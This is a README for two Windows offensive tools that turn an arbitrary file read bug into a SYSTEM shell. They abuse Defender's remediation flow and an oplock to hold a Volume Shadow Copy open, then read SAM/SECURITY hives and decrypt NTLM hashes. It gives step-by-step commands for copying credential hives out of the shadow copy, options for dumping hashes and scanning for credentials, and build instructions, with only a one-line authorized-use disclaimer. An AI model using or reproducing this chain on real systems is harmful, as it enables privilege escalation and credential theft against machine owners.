Two small tools that turn an arbitrary file read bug on Windows into a SYSTEM shell.
vss_freeze/— creates a Volume Shadow Copy as a standard user, then holds it open so you have time to read the SAM/SECURITY/SYSTEM hives out of itfr2system/— takes the hives you copied out, decrypts the local NTLM hashes offline, and pops a SYSTEM shell
Together with any arb-file-read primitive that runs as SYSTEM (or anything that can read out of \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyN\...), this is a complete std-user → SYSTEM chain on a default Win10/Win11 box.
This was extracted out of BlueHammer — the Win Defender abuse research where we found that dropping an EICAR file under a watched path makes Defender create a Volume Shadow Copy as part of its remediation flow. We held a RstrtMgr.dll batch oplock on Defender's load path so Defender stays parked at the start of remediation, which in turn keeps the VSS alive for as long as we need.
Originally there was a Stage 2 cldflt freeze on top of that, but cldflt rejects non-OneDrive sync providers on Win11 24H2 (CfRegisterSyncRoot returns 0x80070057). Just holding the Stage 1 oplock open turned out to be enough — Defender stays paused, VSS stays alive, no Cloud Files API at all.
[ vss_simple_freeze.exe ] → [ your arb-read PoC ] → [ fr2system.exe ]
creates VSS as std user reads SAM/SECURITY cracks NTLM, pops SYSTEM
holds it via oplock out of the VSS path shell
- Run
vss_simple_freeze.exe --hold 120as a normal user. It prints the VSS path, e.g.\Device\HarddiskVolumeShadowCopy7. - Run your arb-file-read bug to read these out of the VSS:
\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyN\Windows\System32\Config\SAM\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyN\Windows\System32\Config\SECURITY- Drop them as
C:\Windows\Temp\fileread\SAMandC:\Windows\Temp\fileread\SECURITY.
- Run
fr2system.exe. SYSTEM shell.
If you just want to verify the chain works end-to-end on your box, fake the arb-read step with an admin cmd:
:: Window 1 - std user
vss_simple_freeze.exe --hold 300
:: Window 2 - admin cmd (simulating the arb-read primitive)
mkdir C:\Windows\Temp\fileread
copy "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy7\Windows\System32\Config\SAM" C:\Windows\Temp\fileread\SAM
copy "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy7\Windows\System32\Config\SECURITY" C:\Windows\Temp\fileread\SECURITY
:: Window 3 - std user again
fr2system.exe(Replace 7 with whatever number vss_simple_freeze printed.)
vss_simple_freeze.exe [options]
--hold N Auto-release after N seconds (default: wait for Enter)
--auto Non-interactive, hold up to 600s
--publish FILE Write VSS path to FILE (default: %TEMP%\vss_current.txt)
--no-publish Don't write VSS path anywhere
--event NAME Release when named event Local\NAME is signaled
--quiet Suppress per-second liveness output
--help Show help
Examples:
vss_simple_freeze.exe # interactive, Enter to release
vss_simple_freeze.exe --hold 120 # auto-release after 2 min
vss_simple_freeze.exe --event lpe_done --hold 300 # release on signal or 5 min
fr2system.exe [options]
(none) Default - read SAM/SECURITY from C:\Windows\Temp\fileread, escalate to SYSTEM
--dump Dump NTLM hashes only, don't escalate
--scan Scan for alternative credential sources
--path DIR Use a different input directory
--help Show help
Examples:
fr2system.exe
fr2system.exe --dump
fr2system.exe --path C:\lab\hives
fr2system.exe expects at least SAM in the input dir. SECURITY is optional (used for LSA secrets / DPAPI keys).
Both projects use MSVC (static CRT, x64).
cd vss_freeze
build_vss_simple_freeze.bat
cd fr2system
msbuild fr2system.sln /p:Configuration=Release /p:Platform=x64VSS creation:
fr2system → SYSTEM shell:
- Tested on Win10 22H2 and Win11 23H2/24H2 with Defender enabled.
- The VSS technique relies on Defender's remediation flow. With Defender disabled or replaced by another AV, the Stage 1 oplock won't fire and no VSS will be created — pick a different VSS primitive in that case.
- This is research / authorized pentest tooling. Don't run it on systems you're not allowed to.

